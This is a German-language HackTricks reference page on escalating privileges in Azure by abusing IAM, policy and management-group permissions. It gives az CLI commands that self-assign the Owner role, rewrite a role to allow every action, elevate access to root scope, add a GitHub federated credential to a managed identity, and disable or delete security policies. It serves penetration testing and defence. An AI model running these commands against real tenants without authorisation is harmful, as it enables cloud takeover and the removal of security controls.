Az - Azure IAM Privesc (Authorization)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Azure IAM

Für weitere Informationen siehe:

Az - Entra ID (AzureAD) & Azure IAM

Microsoft.Authorization/roleAssignments/write

Diese Berechtigung erlaubt es, Rollen an principals innerhalb eines bestimmten Scope zuzuweisen, wodurch ein attacker seine privileges eskalieren kann, indem er sich selbst eine höher privilegierte Rolle zuweist:

# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"

Microsoft.Authorization/roleDefinitions/Write

Diese Berechtigung ermöglicht es, die von einer Rolle gewährten Berechtigungen zu ändern, wodurch ein Angreifer Privilegien eskalieren kann, indem er einer Rolle, die er zugewiesen hat, zusätzliche Berechtigungen gewährt.

Erstelle die Datei role.json mit folgendem Inhalt:

{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}

Aktualisieren Sie dann die Rollenberechtigungen mit der vorherigen Definition, indem Sie aufrufen:

az role definition update --role-definition role.json

Microsoft.Authorization/elevateAccess/action

Diese Berechtigung ermöglicht es, Privilegien zu erhöhen und Berechtigungen an jeden Principal für Azure resources zu vergeben. Sie ist dafür vorgesehen, Entra ID Global Administrators zugewiesen zu werden, damit diese auch Berechtigungen für Azure resources verwalten können.

Tip

Ich denke, der Benutzer muss Global Administrator in Entra ID sein, damit der elevate call funktioniert.

# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write

Diese Berechtigung erlaubt das Hinzufügen von Federated credentials zu managed identities. Z. B. kann einem Repo in Github Zugriff für Github Actions auf eine managed identity eingeräumt werden. Dadurch ermöglicht sie den Zugriff auf jede vom Benutzer definierte managed identity.

Beispielbefehl, um einer managed identity Zugriff auf ein Repo in Github zu geben:

# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'

# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'

Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete

Ein Angreifer mit der Berechtigung Microsoft.Authorization/policyAssignments/write oder Microsoft.Authorization/policyAssignments/delete auf einer Verwaltungsgruppe, einem Abonnement oder einer Ressourcengruppe kann Azure-Richtlinienzuweisungen ändern oder löschen, und damit möglicherweise Sicherheitsbeschränkungen deaktivieren, die bestimmte Vorgänge blockieren.

Dadurch wird Zugriff auf Ressourcen oder Funktionen ermöglicht, die zuvor durch die Richtlinie geschützt waren.

Richtlinienzuweisung löschen:

az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Eine Policy-Zuweisung deaktivieren:

az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled

Änderungen überprüfen:

# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"

Microsoft.Authorization/policyDefinitions/write

Ein Angreifer mit der Berechtigung Microsoft.Authorization/policyDefinitions/write kann Azure policy definitions ändern, wodurch die Regeln, die die Sicherheitsbeschränkungen in der gesamten Umgebung steuern, verändert werden.

Zum Beispiel kann eine policy, die die erlaubten Regionen für das Erstellen von Ressourcen einschränkt, so geändert werden, dass jede Region erlaubt ist, oder der policy-Effekt kann so verändert werden, dass sie wirkungslos wird.

Policy definition ändern:

az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json

Überprüfe die Änderungen:

az policy definition list --output table

az policy definition show --name "<policyDefinitionName>"

Microsoft.Management/managementGroups/write

Ein Angreifer mit der Berechtigung Microsoft.Management/managementGroups/write kann die hierarchische Struktur von Managementgruppen ändern oder neue Managementgruppen erstellen, wodurch restriktive Richtlinien, die auf höheren Ebenen angewendet werden, möglicherweise umgangen werden.

Beispielsweise kann ein Angreifer eine neue Managementgruppe ohne restriktive Richtlinien erstellen und anschließend Abonnements dorthin verschieben.

Erstellen einer neuen Managementgruppe:

az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"

Ändern der Management-Gruppen-Hierarchie:

az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"

Überprüfen Sie die Änderungen:

az account management-group list --output table

az account management-group show \
--name "<managementGroupId>" \
--expand

Microsoft.Management/managementGroups/subscriptions/write

Ein Angreifer mit der Berechtigung Microsoft.Management/managementGroups/subscriptions/write kann Abonnements zwischen Verwaltungsgruppen verschieben, wodurch er möglicherweise einschränkende Richtlinien umgehen kann, indem er ein Abonnement in eine Gruppe mit weniger restriktiven oder gar keinen Richtlinien verschiebt.

Verschiebe ein Abonnement in eine andere Verwaltungsgruppe:

az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"

Überprüfe die Änderungen:

az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks